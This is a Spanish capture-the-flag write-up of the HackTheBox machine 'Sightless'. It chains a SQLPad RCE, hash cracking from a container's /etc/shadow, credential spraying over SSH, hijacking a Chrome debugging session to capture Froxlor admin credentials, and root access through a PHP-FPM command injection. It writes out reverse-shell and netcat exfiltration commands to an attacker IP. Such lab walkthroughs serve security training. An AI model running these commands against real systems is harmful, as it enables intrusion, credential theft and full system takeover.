write up Sightless HTB
“Sightless” es una máquina de dificultad fácil en la plataforma HackTheBox. El servidor víctima ejecuta un servicio web que expone una vulnerabilidad SQL en una versión de SQLPad afectada por la CVE-2022-0944. Esta vulnerabilidad permite la ejecución remota de comandos (RCE), lo que nos brinda acceso inicial al sistema. Sin embargo, este servicio se ejecuta dentro de un contenedor Docker con privilegios de root. Al tener acceso root dentro del contenedor, podemos leer el archivo /etc/shadow, extraer los hashes de las contraseñas y luego intentar crackearlos. Una vez que una de las contraseñas es descifrada, podemos usarla para acceder a la máquina host a través de SSH.
Al ingresar al sistema, descubrimos que está en ejecución un servicio web interno llamado Froxlor. Además, encontramos una sesión activa de Google Chrome en la máquina víctima. Mediante un Local Port Forwarding, conseguimos conectarnos a esta sesión de Chrome, la cual expone credenciales para el panel de administración de Froxlor. Al acceder a este panel, podemos inyectar un script o tarea que nos otorga acceso como root en la máquina víctima.
lo primero como siempre empezamos con el escaneo de nmap
nmap -p- --open --min-rate 5000 -sT -Pn -vvv -n 10.10.11.32 -oG allports
nmap -sVC -p21,22,80 10.10.11.34 -oN ports
vemos un servidor ftp corriendo vamos a intentar loguear como anonimo
nada no consigo nada
si hacemos un what web para ver lo que hay detras
conseguimos el dominio. lo ponemos en el /etc/hosts y lo repetimos
vemos un correo electronico por hay nada mas interesante vamos a acceder
si nos vamos al apartado de servicios vemos algo que podria ser interesante
vemos un panel de SQLPad si le damos click
vemos un subdominio nuevo por lo que devemos añadirlo al etc/hosts para poder ver la web
vemos un panel sqlpad
si vamos a la esquina superior derecha veremos 3 puntitos que nos permiten clickar sobre una opcion about
vemos la version de SQLPad por lo que podriamos hacer una busqueda de CVE o exploits a su nombre y version
basicamnte podemos hacer un RCE a traves de una queri maliciosa y ponernos en escucha con netcat
para poder hacerlo vamos a tener que hacer lo siguiente. vamos a ir al panel de chose connection y vamos a crear una nueva usando de driver MYSql
para cargar el payload malicioso hay que ponerlo en el apartado Database en mi caso usare este
![[Pasted image 20250118120501.png]]
nos ponemos en eschucha con netcat
rlwrap -cAr nc -lvnp 9999
y le damos a test
y tenemos shell. lo curioso es que somos root
esto es curioso
vale estamos dentro de un docker y somos root por lo que podrimamos leer el etc/shadow
vemos un suuario michael al cual creo que podemos crekear la contraseña
para ello voy a usar hashcat
hashcat -m 1800 -a 0 -o resul.txt hash.txt /usr/share/wordlists/rockyou.txt
tenemos las password de los dos
por lo que voy a usar nxc para comprobar si valen para ssh
nxc ssh 10.10.11.32 -u user.txt -p passwd.txt
vemos que michael se puede por lo que vamos
y tenemos el user
root
si hacemos
ss -ntlp
vemos una cosa curiosa
vemos el puerto 8080 abierto si hacemos un curl desde la propia maquian vemos cosas interesante:
curl -s 127.0.0.1:8080
vemos una pagina web
por lo quehay que hacer Local Port Forwarding. yo lo voy a hacer con ssh, se podria con chisel y es mas profesional pero tampoco me quiero comer mucho la cabeza con una maquina de baja dificultada
entonces para ello vamos a hacerlo siguiente
ssh michael@10.10.11.32 -L 8080:172.17.0.2:8080
vemos el siguiente panel de login
pero niguna credencial vale. de vuelta a ssh si hacemos
ps aux
vemos que hay un servicio google crome corriendo
El usuario john
tiene abierta una sesión con Google Chrome
.
Usualmente, cuando ejecutamos un software como Google Chrome
, éste requiere de puertos para funcionar. Como vimos previamente, teníamos muchos puertos abiertos. Podemos obtener todos los puertos abiertos en la máquina víctima jugando un poco con la consola:
ss -nltp | awk '{print $4}' | grep -v Local | awk -F : '{print $2}' | grep -v '^$' | sort -u
De aquí, empezaremos a descargar los servicios los cuales sabemos qué están corriendo y ya hemos identificado: 21
(FTP
), 22
(SSH
), 53
(DNS
), 80
(puerto HTTP
página web principal), 3000
(puerto por defecto para SQLPad, como se pude ver aquí), 3306
y 33060
(MySQL
); y 8080
(servicio web Froxlor
).
Luego de filtrar por todos aquellos puertos, sólo nos quedan 3 candidatos: 33569
, 33911
y 34001
.
nos los vamos a pasar todos por ssh:
ssh michael@sightless.htb -L 8080:admin.sightless.htb:8080 -L 33363:127.0.0.1:33363 -L 3000:127.0.0.1:3000 -L 41129:127.0.0.1:41129 -L 33060:127.0.0.1:33060 -L 35705:127.0.0.1:35705
ahora si habrimos chrome y ponemos chrome://inspect/#devices veremoslo siguiente ![[Pasted image 20250118130807.png]] si le damos a configure ![[Pasted image 20250118130903.png]] vamos a poner ese puerto y le damos a done Uno de los puertos que podría estar expuesto en la máquina víctima es el de la sesión de Google Chrome. En mi caso específico, el puerto y la IP que encontré fue 127.0.0.1:33911. Al añadirlo, aparece un mensaje de Froxlor. Si accedemos al primer enlace y seleccionamos la opción Inspect, podemos observar una animación en pantalla. Esta muestra cómo un usuario inicia sesión en el panel de Froxlor. Utilizando la pestaña de Desarrolladores, accedemos a la sección Network y, una vez el usuario haya iniciado sesión, podemos inspeccionar el recurso index.php y revisar la pestaña Payload. Allí encontramos:
Podemos ver que el parámetro loginname corresponde a un usuario llamado admin y la contraseña es ForlorfroxAdmin.
Luego, accedemos a http://127.0.0.1:8080 e ingresamos las credenciales admin:ForlorfroxAdmin, logrando acceder al panel como usuario admin:
En el panel, en la barra lateral izquierda, encontramos una pestaña llamada PHP. Al hacer clic en ella, vemos varias opciones. Entre ellas, se encuentra la pestaña PHP-FPM versions. Investigando un poco más, descubrimos que es una herramienta para gestionar procesos de PHP de manera eficiente.
Al hacer clic en PHP-FPM versions y luego en Create new PHP version, se muestra una nueva página. En esta, intentamos ejecutar el comando whoami y redirigir su salida a nuestra máquina atacante utilizando un pipe ( | ) junto con netcat. En el panel de Froxlor, ingresamos el comando whoami | nc 10.10.16.5 4444 y en nuestra máquina atacante iniciamos un listener en el puerto 4444 ejecutando nc -lvnp 4444. En la máquina víctima, añadimos el payload mencionado: |
Sin embargo, encontramos un problema. Al hacer clic en Save, obtenemos un error. Anteriormente habíamos probado con comandos más sencillos como whoami e id, y funcionaron, por lo que sospechamos que el pipe (|) podría estar interfiriendo. Debido a que nuestra sesión con el usuario michael está siendo utilizada por Chisel para establecer el túnel, nos volvemos a conectar por SSH como michael (sin cerrar la sesión de Chisel) y creamos un script simple en Bash que enviará una reverse shell a nuestra máquina atacante:
michael@sightless:~$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' > /dev/shm/rev.sh
michael@sightless:~$ cat /dev/shm/rev.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
michael@sightless:~$ chmod +x /dev/shm/rev.sh
En nuestra máquina atacante, iniciamos un listener con netcat en el puerto 443:
nc -lvnp 443
Luego, añadimos este nuevo payload a la sección PHP-FPM en el panel de Froxlor.
Posteriormente, nos dirigimos a System > Settings > PHP-FPM, desactivamos el servicio presionando el botón al lado de Activate to use y hacemos clic en Save. Después, volvemos a la pestaña anterior, activamos el servicio nuevamente para “reiniciarlo”, y hacemos clic en Save otra vez.
En la sección de Cronjob Settings, encontramos un cronjob que se ejecuta cada 5 minutos llamado Generating of configfiles. Supusimos que este cronjob ejecutaría el payload, por lo que tuvimos que esperar hasta la próxima hora y minutos terminados en XX:X5 (es decir, cada 5 minutos).
Después de unos minutos, el cronjob se ejecuta y, finalmente, conseguimos una conexión en nuestro listener como usuario root.